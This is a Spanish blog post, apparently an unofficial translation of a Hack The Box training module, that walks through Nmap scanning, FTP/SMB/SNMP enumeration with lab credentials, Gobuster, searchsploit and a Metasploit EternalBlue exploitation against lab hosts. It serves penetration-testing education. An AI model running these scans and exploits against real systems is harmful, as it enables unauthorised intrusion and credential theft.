Esta es la continuación del anterior post del blog con la segunda parte de la traducción no oficial del módulo «Cómo empezar». En esta segunda parte se verán temas como el escaneo de servicios, cómo atacar servicios de red o la enumeración web, entre otros.
Escaneo de Servicios
Estamos listos para ir un paso más allá y comenzar a explorar la máquina. Lo primero que necesitamos es identificar el sistema operativo y cualquier servicio disponible que esté ejecutándose. Un servicio es una aplicación corriendo en un ordenador que realiza algunas funciones útiles para otros usuarios o máquinas. Llamamos a estas máquina especializadas que alojan servicios útiles «servidores» en lugar de estaciones de trabajo, permitiendo a los usuarios interactuar con sus servicios y utilizarlos. En lo que estamos interesados es en los servicios que tienen alguna mala configuración o una vulnerabilidad. En lugar de llevar a cabo las acciones esperadas como parte del servicio, nos interesa ver si podemos coaccionar al servicio para que realice alguna acción involuntaria que ayude a nuestros objetivos, como ejecutar un comando de nuestra elección.
A cada ordenador se le asigna una IP, lo que permite que estén identificados de forma única en una red. Los servicios que se encuentren corriendo en esos ordenadores se pueden asignar por un número de puerto que hace el servicio accesible. El puerto 0 está reservado en TCP/IP y no se usa para mensajes TCP o UDP. Si algo intenta enlazar con este puerto (como un servicio), se enlazará con el siguiente disponible por encima del puerto 1024, ya que el puerto 0 se usa como un puerto «comodín».
Para acceder a un servicio de forma remota, necesitamos conectar usando la dirección IP correcta y el número de puerto, y usar un lenguaje que el servicio comprenda. Como el examen de los 65535 puertos de forma manual sería demasiado laborioso, existen herramientas que automatizan este proceso y escanean el rango de puertos por nosotros.
Nmap
Supongamos que queremos realizar un escaneo básico a la IP 10.129.42.253. Por defecto, Nmap solo escaneará los 1000 puertos más comunes. Aquí tenemos el resultado:
user@htb[/htb]$ nmap 10.129.42.253
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 16:07 EST
Nmap scan report for 10.129.42.253
Host is up (0.11s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 2.19 seconds
Por defecto, Nmap realizará un escaneo de los puertos TCP, a no ser que especifiquemos lo contrario. Bajo la cabecera PORT podemos ver los puertos disponibles. Debajo de STATE vemos el estado en que se encuentran dichos puertos. En este caso están todos abiertos, pero podemos encontrarlos en estado filtered, lo que quiere decir que puede haber un firewall que solo permite el acceso a los puertos desde direcciones específicas. La cabecera SERVICIO nos dice el nombre del servicio que se encuentra normalmente en ese puerto. Sin embargo, el escaneo por defecto no nos dirá qué es lo que está escuchando en ese puerto. Hasta que no le digamos a Nmap que interactúe con el servicio e intente revelarnos información que lo identifique, no sabremos si hay un servicio distinto corriendo en él.
Conforme nos familiaricemos iremos viendo que algunos puertos se asocian comúnmente con Windows o con Linux. Por ejemplo, el puerto 3389 se asocia por defecto a Servicios de Escritorio Remoto, excelente indicador de que se trata de una máquina Windows. Veamos un escaneo más avanzado para obtener más información acerca de nuestro objetivo.
Podemos usar el parámetro -sC para especificar a Nmap los scripts que debe utilizar para intentar obtener más información en detalle. El parámetro -sV permite realizar un escaneo de las versiones. Así, Nmap tomará las huellas de los servicios en el sistema objetivo e identificará el protocolo de cada servicio, nombre de la aplicación y versión. El escaneo de versión se apoya en una base de datos de más de 1000 firmas de servicios. Finalmente, con -p- le decimos que queremos escanear los 65535 puertos TCP:
user@htb[/htb]$ nmap -sV -sC -p- 10.129.42.253
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 16:18 EST
Nmap scan report for 10.129.42.253
Host is up (0.11s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Feb 25 19:25 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: PHP 7.4.3 - phpinfo()
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: GS-SVCSCAN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-02-25T21:21:51
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 233.68 seconds
Esto nos devuelve mucha información. Vemos que las opciones -sC y -sV incrementan la duración del escaneo, pero también realizan muchas más comprobaciones. Podemos ver que esta vez tenemos una cabecera VERSION, la cual nos muestra la versión del servicio y el sistema operativo, si es posible identificarlo.
Es más, sabemos que el SO es Ubuntu. Las versiones de aplicaciones pueden ayudar a revelar el SO objetivo. Tomemos OpenSSH como ejemplo. Podemos ver que la versión reportada es OpenSSH 8.2p1 Ubuntu 4Ubuntu0.1. Si inspeccionamos un poco llegamos a esta página:
https://launchpad.net/ubuntu/yakkety/+source/openssh/+changelog
En ella vemos que la versión de lanzamiento tomaba el formato 1:7.3p1-1ubuntu0.1. Actualizando nuestra versión a este formato, obtenemos 1:8.2p1-4ubuntu0.1. Una búsqueda rápida de esta versión revela que se incluye en Ubuntu Linux Focal Fossa 20.04.

Otra búsqueda rápida revela que la fecha de lanzamiento de este OS fue el 23 de abril de 2020:

De todos modos, esta técnica no es fiable al 100% ya que se pueden instalar paquetes de aplicación más recientes en versiones más antiguas del SO. El escaneo por script -sC hace que Nmap reporte la cabecera http-server-header y el título http-title para cualquier web alojada en el servidor web. El título de la página web PHP 7.4.3 – phpinfo() indica que se trata de un archivo PHPInfo, el cual suele crearse manualmente para confirmar que PHP ha sido instalado satisfactoriamente. El título también revela la versión de PHP, la cual podemos buscar si es vulnerable.

Scripts de Nmap
Especificando -sC ejecutaremos los scripts designados por defecto contra un objetivo, pero hay casos en lo que se requiere un script específico. Podemos buscar los scripts por su nombre de la siguiente forma:
user@htb[/htb]$ locate scripts/citrix
/usr/share/nmap/scripts/citrix-brute-xml.nse
/usr/share/nmap/scripts/citrix-enum-apps-xml.nse
/usr/share/nmap/scripts/citrix-enum-apps.nse
/usr/share/nmap/scripts/citrix-enum-servers-xml.nse
/usr/share/nmap/scripts/citrix-enum-servers.nse
La sintaxis para ejecutar un script de Nmap es nmap –script -p . Los scripts de Nmap son una forma genial de mejorar la funcionalidad de nuestros escaneos, y la inspección de las opciones disponibles nos beneficiará.
Atacando servicios de red
Banner Grabbing
Es una técnica muy útil para seguir el rastro de un servicio de forma rápida. A menudo un servicio se identificará a sí mismo mostrando un banner una vez se ha iniciado la conexión. Nmap intentará obtener estos banners si usamos la sintaxis nmap -sV –script=banner . También podemos intentarlo manualmente con Netcat:
user@htb[/htb]$ nc -nv 10.129.42.253 21
(UNKNOWN) [10.129.42.253] 21 (ftp) open
220 (vsFTPd 3.0.3)
Esto revela que la versión de vsFTPd en el servidor es la 3.0.3. También podemos automatizar el proceso usando el motor de scripting de Nmap:
nmap -sV --script=banner -p21 10.10.10.0/24
FTP
Es importante familiarizarse con FTP, ya que es un protocolo estándar y este servicio puede contener datos interesantes en algunas ocasiones. Un escaneo con Nmap del puerto FTP por defecto (el 21) revela la instalación de vsftpd 3.0.3 identificada anteriormente. También revela que la autenticación anónima está habilitada y que hay un directorio pub disponible:
user@htb[/htb]$ nmap -sC -sV -p21 10.129.42.253
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-20 00:54 GMT
Nmap scan report for 10.129.42.253
Host is up (0.081s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Dec 19 23:50 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds
Conectemos al servicio usando el comando ftp:
user@htb[/htb]$ ftp -p 10.129.42.253
Connected to 10.129.42.253.
220 (vsFTPd 3.0.3)
Name (10.129.42.253:user): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (10,129,42,253,158,60).
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Feb 25 19:25 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
227 Entering Passive Mode (10,129,42,253,182,129).
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 18 Feb 25 19:25 login.txt
226 Directory send OK.
ftp> get login.txt
local: login.txt remote: login.txt
227 Entering Passive Mode (10,129,42,253,181,53).
150 Opening BINARY mode data connection for login.txt (18 bytes).
226 Transfer complete.
18 bytes received in 0.00 secs (165.8314 kB/s)
ftp> exit
221 Goodbye.
Podemos ver que FTP soporta comandos comunes como cd o ls y nos permite descargar archivos con el comando get. La inspección del archivo descargado login.txt revela credenciales que podríamos usar para acceder al sistema:
admin:ftp@dmin123
SMB
Server Message Block es un protocolo de máquinas Windows que proporciona distintos vectores para movimientos vertical y lateral. Se pueden encontrar datos sensibles, incluyendo credenciales, en los archivos que comparte, y algunas versiones de SMB pueden ser vulnerables a exploits RCE como EternalBlue. Nmap tiene varios scripts para enumerar SMB, como por ejemplo el smb-os-discovery.nse, el cual interactuará con el servicio SMB para extraer la versión del sistema operativo.
user@htb[/htb]$ nmap --script smb-os-discovery.nse -p445 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-27 00:59 GMT
Nmap scan report for doctors.htb (10.10.10.40)
Host is up (0.022s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: CEO-PC
| NetBIOS computer name: CEO-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-12-27T00:59:46+00:00
Nmap done: 1 IP address (1 host up) scanned in 2.71 seconds
En este caso, el huésped corre una versión legacy de Windows 7, y podríamos realizar una enumeración más detallada para confirmar si es vulnerable a EternalBlue. Metasploit tiene varios módulos para EternalBlue que se pueden usar para validar la vulnerabilidad y explotarla. Podemos ejecutar un escaneo contra nuestro objetivo de cara a obtener más información acerca del servicio SMB. Podemos comprobar cómo el host corre un núcleo Linux, la versión de Samba 4.6.2 y tiene el nombre GS-SVCSCAN:
user@htb[/htb]$ nmap -A -p445 10.129.42.253
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 16:29 EST
Nmap scan report for 10.129.42.253
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 4.6.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Host script results:
|_nbstat: NetBIOS name: GS-SVCSCAN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-02-25T21:30:06
|_ start_date: N/A
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 111.62 ms 10.10.14.1
2 111.89 ms 10.129.42.253
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds
Compartidos
SMB permite a los usuarios y administradores compartir directorios y hacerlos accesibles a otros usuarios de forma remota. A menudo estos directorios contienen archivos con información sensible como contraseñas. Una herramienta que puede enumerar e interactuar con los compartidos por SMB es smbclien. El modificador -L especifica que queremos recuperar una lista de los recursos compartidos disponibles en el host, mientras que -N suprime la petición de la contraseña.
user@htb[/htb]$ smbclient -N -L \\\\10.129.42.253
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
users Disk
IPC$ IPC IPC Service (gs-svcscan server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
Esto revela que no hay usuarios compartidos que no sean los que están por defecto. Intentemos conectar como usuario invitado:
user@htb[/htb]$ smbclient \\\\10.129.42.253\\users
Enter WORKGROUP\users's password:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
El comando ls devuelve un mensaje de acceso denegado, lo que indica que el acceso como invitado no está permitido. Probamos de nuevo con las credenciales del usuario bob (bob:Welcome1):
user@htb[/htb]$ smbclient -U bob \\\\10.129.42.253\\users
Enter WORKGROUP\bob's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Feb 25 16:42:23 2021
.. D 0 Thu Feb 25 15:05:31 2021
bob D 0 Thu Feb 25 16:42:23 2021
4062912 blocks of size 1024. 1332480 blocks available
smb: \> cd bob
smb: \bob\> ls
. D 0 Thu Feb 25 16:42:23 2021
.. D 0 Thu Feb 25 16:42:23 2021
passwords.txt N 156 Thu Feb 25 16:42:23 2021
4062912 blocks of size 1024. 1332480 blocks available
smb: \bob\> get passwords.txt
getting file \bob\passwords.txt of size 156 as passwords.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
Hemos obtenido acceso al recurso compartido users usando las credenciales y ahora podemos acceder al archivo passwords.txt, el cual se puede descargar con el comando get.
SNMP
La comunidad SNMP proporciona información y estadísticas acerca de un router o un dispositivo, ayudándonos a obtener el acceso al mismo. Las cadenas de caracteres public o private por defecto del fabricante rara vez se cambian. En SNMP v1 y v2c, el acceso se controla usando una cadena en texto plano, y si conocemos el nombre, podemos obtener acceso a él. El cifrado y la autenticación sólo se añadieron a SNMP v3. Se puede obtener mucha información de SNMP. El examen de los parámetros de proceso puede revelar credenciales a pasar en la línea de comandos, las cuales pueden haber sido utilizadas para servicios externos, dada la prevalencia de la reutilización de las contraseñas en entornos empresariales. La información del router, los servicios vinculados a interfaces adicionales y la versión del software instalado también pueden ser revelados.
user@htb[/htb]$ snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0
iso.3.6.1.2.1.1.5.0 = STRING: "gs-svcscan"
user@htb[/htb]$ snmpwalk -v 2c -c private 10.129.42.253
Timeout: No Response from 10.129.42.253
Se puede usar una herramienta como onesixtyone para hacer un ataque de fuerza bruta a las cadenas de la comunidad usando un diccionario de cadenas comunes como dict.txt, el cual se incluye en el repositorio de GitHub de la herramienta.
user@htb[/htb]$ onesixtyone -c dict.txt 10.129.42.254
Scanning 1 hosts, 51 communities
10.129.42.254 [public] Linux gs-svcscan 5.4.0-66-generic #74-Ubuntu SMP Wed Jan 27 22:54:38 UTC 2021 x86_64
Enumeración Web
Cuando realizamos un escaneo de servicios, a menudo accederemos a servidores web ejecutándose en los puertos 80 y 443. Las aplicaciones web hospedadas en estos servidores a menudo proporcionan una considerable superficie de ataque y un objetivo muy valioso en un pentesting. La enumeración web apropiada es vital, especialmente cuando una organización no expone demasiados servicios o esos servicios están parcheados correctamente.
Gobuster
Después de descubrir una aplicación web, es vital comprobar si podemos descubrir archivos o directorios ocultos en el servidor web que no deberían accederse de forma pública. Podemos usar herramientas como ffuf o GoBuster para realizar esta enumeración. A veces encontraremos funcionalidades ocultas o páginas/directorios que expongan datos sensibles que pueden llevar a un acceso a la aplicación web o incluso a ejecución de código remoto en el servidor web.
Enumeración de archivos/directorios
GoBuster es una herramienta que permite realizar fuerza bruta a los DNS, vshost y directorios. La herramienta, además, puede enumerar buckets de AWS S3 públicos. Realizaremos un escaneo simple como ejemplo usando el diccionario dirb common.txt:
user@htb[/htb]$ gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.121/
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/11 21:47:25 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/12/11 21:47:46 Finished
===============================================================
Un código de estado HTTP 200 revela que la petición del recurso tuvo éxito, mientras que un código HTTP 403 indica que el acceso al recurso no está permitido. Un código 301 indica que se está siendo redireccionado, lo que no es un caso de error. Es importante familiarizarse con los códigos de estado HTTP.
El escaneo se completó con éxito e identifica una instalación de WordPress en /wordpress. WordPress es el CMS (Gestor de Contenido) más usado y tiene una enorme superficie de ataque. En este caso, visitando http://10.10.10.121/wordpress en un navegador nos revela que WordPress está en el modo instalación, lo que nos permitirá conseguir la ejecución de código remoto (RCE) en el servidor.

Enumeración de subdominios DNS
También pueden ser importantes los recursos alojados en subdominios, como paneles de administración o aplicaciones con funcionalidades adicionales que pueden explotarse. Podemos usar GoBuster para enumerar subdominios disponibles de un dominio dado usando el modificador dns para especificar ese modo. Lo primero que debemos hacer es clonar el repositorio de SecLists de GitHub, el cual contiene listas muy útiles para fuzzing y explotación.
Instalar SecLists
user@htb[/htb]$ git clone https://github.com/danielmiessler/SecLists
user@htb[/htb]$ sudo apt install seclists -y
Después, añadimos un servidor DNS como 1.1.1.1 al archivo /etc/resolv.conf. Como objetivo, seleccionamos el dominio inlanefreight.com, un sitio ficticio.
user@htb[/htb]$ gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Domain: inlanefreight.com
[+] Threads: 10
[+] Timeout: 1s
[+] Wordlist: /usr/share/SecLists/Discovery/DNS/namelist.txt
===============================================================
2020/12/17 23:08:55 Starting gobuster
===============================================================
Found: blog.inlanefreight.com
Found: customer.inlanefreight.com
Found: my.inlanefreight.com
Found: ns1.inlanefreight.com
Found: ns2.inlanefreight.com
Found: ns3.inlanefreight.com
===============================================================
2020/12/17 23:10:34 Finished
===============================================================
Este escaneo revela subdominios interesantes que podemos examinar más adelante.
Trucos para la Enumeración Web
Vamos a ver algunos trucos adicionales para la enumeración que pueden ayudarnos a completar máquinas en HTB y en el mundo real.
Banner Grabbing / Cabeceras de Servidores Web
Anteriormente hemos hablado sobre la técnica del banner grabbing para propósitos generales. Las cabeceras de los servidores web proporcionan una buena perspectiva de lo que hay alojado en dicho servidor. Pueden revelar el framework en uso, las opciones de autenticación o si el servidor tiene mal configuradas las opciones de seguridad. Podemos usar cURL para recuperar información de la cabecera del servidor desde la línea de comandos. cURL es esencial en nuestra caja de herramientas para pentestings, te animo a familiarizarte con sus opciones.
user@htb[/htb]$ curl -IL https://www.inlanefreight.com
HTTP/1.1 200 OK
Date: Fri, 18 Dec 2020 22:24:05 GMT
Server: Apache/2.4.29 (Ubuntu)
Link: <https://www.inlanefreight.com/index.php/wp-json/>; rel="https://api.w.org/"
Link: <https://www.inlanefreight.com/>; rel=shortlink
Content-Type: text/html; charset=UTF-8
Otra herramienta muy útil es EyeWitness, la cual se puede utilizar para tomar capturas de pantalla de aplicaciones web objetivo, seguirles el rastro e identificar posibles credenciales por defecto.
Whatweb
Podemos extraer la versión de los servidores web, frameworks soportados y aplicaciones usando la herramienta de línea de comandos whatweb. Esta información puede ayudarnos a localizar las tecnologías en uso y comenzar a buscar vulnerabilidades potenciales.
user@htb[/htb]$ whatweb 10.10.10.121
http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()]
Whatweb es una herramienta muy útil y tiene muchas funcionalidades para automatizar la enumeración de aplicaciones web en una red.
user@htb[/htb]$ whatweb --no-errors 10.10.10.0/24
http://10.10.10.11 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.1], IP[10.10.10.11], PoweredBy[Red,nginx], Title[Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux], nginx[1.14.1]
http://10.10.10.100 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.100], Title[File Sharing Service]
http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()]
http://10.10.10.247 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[contact@cross-fit.htb], Frame, HTML5, HTTPServer[OpenBSD httpd], IP[10.10.10.247], JQuery[3.3.1], PHP[7.4.12], Script, Title[Fine Wines], X-Powered-By[PHP/7.4.12], X-UA-Compatible[ie=edge]
Certificados
Los certificados SSL/TLS son otra fuente de información muy valiosa si se utiliza HTTPS. Si vamos a https://10.10.10.121/ y miramos el certificado, podemos ver que revela ciertos detalles, entre ellos la dirección de email o el nombre de la empresa. Esto se podría usar para llevar a cabo un ataque de phishing, en el caso de que ello esté incluído en el alcance de la asesoría.

Robots
Es habitual que los sitios web contengan un archivo robots.txt, cuyo propósito es dar instrucciones a las arañas de los motores de búsqueda sobre qué recursos se pueden indexar y cuáles no. El archivo robots.txt puede proporcionar información valiosa como la localización de archivos privados y páginas de administración. En este caso, podemos ver cómo robots.txt incluye dos entradas deshabilitadas:

Si navegamos a http://10.10.10.121/private en el navegador, nos mostrará la página de acceso de administradores de HTB:

Código fuente
También es importante comprobar el código fuente de cualquier página web por la que naveguemos. Podemos acceder a él pulsando CTRL + U en el navegador. Este ejemplo revela cómo un comentario del desarrollador contiene credenciales para una cuenta de pruebas, lo que puede usarse para acceder al sitio web.

Exploits Públicos
Una vez identificados los servicios que corren en los puertos que hemos encontrado con Nmap, lo primero es ver si alguna de las aplicaciones/servicios tienen exploits públicos. Éstos se pueden encontrar tanto para aplicaciones web como para otras aplicaciones que corran en los distintos puertos, como SSH o ftp.
Encontrando Exploits Públicos
Muchas herramientas nos pueden ayudar a buscar exploits públicos para las distintas aplicaciones y servicios que podemos encontrar durante la fase de enumeración. Una de ellas es Google, buscando el nombre de la aplicación con la palabra exploit para ver si aparece algún resultado:

Una buena herramienta para este propósito es searchsploit, la cual se puede utilizar para buscar vulnerabilidades/exploits públicos para cualquier aplicación. Se puede instalar con el comando:
user@htb[/htb]$ sudo apt install exploitdb -y
Después usamos searchsploit para buscar una aplicación específica por su nombre así:
user@htb[/htb]$ searchsploit openssh 7.2
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH 7.2 - Denial of Service | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
También podemos utilizar bases de datos online para buscar vulnerabilidades, como Exploit DB, Rapid7 DB o Vulnerability Lab.
Metasploit
El framework Metasploit (MSF) es una herramienta excelente para pentesters. Contiene exploits prefabricados para muchas vulnerabilidades públicas y proporciona una manera sencilla de usarlos contra objetivos vulnerables. MSF tiene otras características como:
- Ejecución de scripts de reconocimiento para enumerar hosts remotos y objetivos comprometidos.
- Scripts de verificación para probar la existencia de una vulnerabilidad sin comprometer el objetivo.
- Meterpreter, el cual es una gran herramienta para conectarse a shells y ejecutar comandos en los objetivos comprometidos.
- Muchas herramientas de post-explotación y pivotaje.
Veamos un ejemplo básico de búsqueda de un exploit. Para ejecutar Metasploit usamos el comando msfconsole:
user@htb[/htb]$ msfconsole
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.0.16-dev ]
+ -- --=[ 2074 exploits - 1124 auxiliary - 352 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion
Una vez corriendo, podemos buscar nuestra aplicación objetivo con el comando search exploit. Por ejemplo:
msf6 > search exploit eternalblue
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
<SNIP>
EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010
Truco: La búsqueda puede realizarse aplicando filtros complejos como search cve:2009 type:exploit. Echadle un vistazo a los distintos filtros que pueden ayudaros.
Hemos encontrado un exploit para este servicio. Podemos usarlo copiando su ruta y con el comando USE:
msf6 > use exploit/windows/smb/ms17_010_psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
Antes de ejecutar el exploit, necesitaremos configurar sus opciones. Para ver las opciones disponibles para configurar, usaremos el comando show options:
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
...SNIP...
Cualquier opción con el campo Required configurada como yes tiene que ser configurada para que el exploit funcione. En este caso, solo encontrarmos dos opciones a configurar: RHOSTS, donde hemos de poner la IP de nuestro objetivo, y LHOST, donde pondremos nuestra IP o nuestro dispositivo de red en este caso. Las podemos configurar con el comando set:
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST tun0
LHOST => tun0
Una vez configuradas ambas opciones, podemos iniciar la explotación. Sin embargo, antes podemos ejecutar una comprobación para asegurarnos de que el servidor es vulnerable:
msf6 exploit(windows/smb/ms17_010_psexec) > check
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
Como podemos ver, así es. No todos los exploits de Metasploit aceptan la función check. Finalmente, usaremos el comando run o el comando exploit para ejecutarlo:
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive...
[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
